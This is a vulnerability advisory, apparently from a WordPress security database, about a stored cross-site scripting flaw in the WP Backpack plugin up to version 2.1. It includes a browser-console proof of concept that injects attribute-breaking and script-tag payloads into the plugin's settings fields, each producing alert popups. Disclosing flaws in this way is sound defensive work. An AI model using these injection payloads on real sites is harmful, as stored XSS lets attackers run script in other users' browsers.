Lucene search

K
wpexploitBob MatyasWPEX-ID:CE4688B6-6713-43B5-AA63-8A3B036BD332
HistoryMay 17, 2024 - 12:00 a.m.

WP Backpack <= 2.1 - Admin+ Stored XSS

2024-05-1700:00:00
Bob Matyas
23
wordpress
backpack
version 2.1
admin
vulnerability
stored xss
exploit
website
security incident

AI Score

5.6

Confidence

High

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

1. Go to https://example.com/wp-admin/admin.php?page=optik
2. In the browser console, run the code:

```
let inputs = document.querySelectorAll( '#wpbody-content input[type="text"]' ); inputs.forEach( (element) => element.value=`" style=animation-name:rotation onanimationstart=alert(/XSS: ${element.name}/)//` );let textareas = document.querySelectorAll( '#wpbody-content textarea' ); textareas.forEach( (element) => element.value=`</textarea><script>alert(/XSS: ${element.name}/)</script>` );
```
3. Save the settings
4. Reload the page and see multiple XSS alerts

AI Score

5.6

Confidence

High

Related for WPEX-ID:CE4688B6-6713-43B5-AA63-8A3B036BD332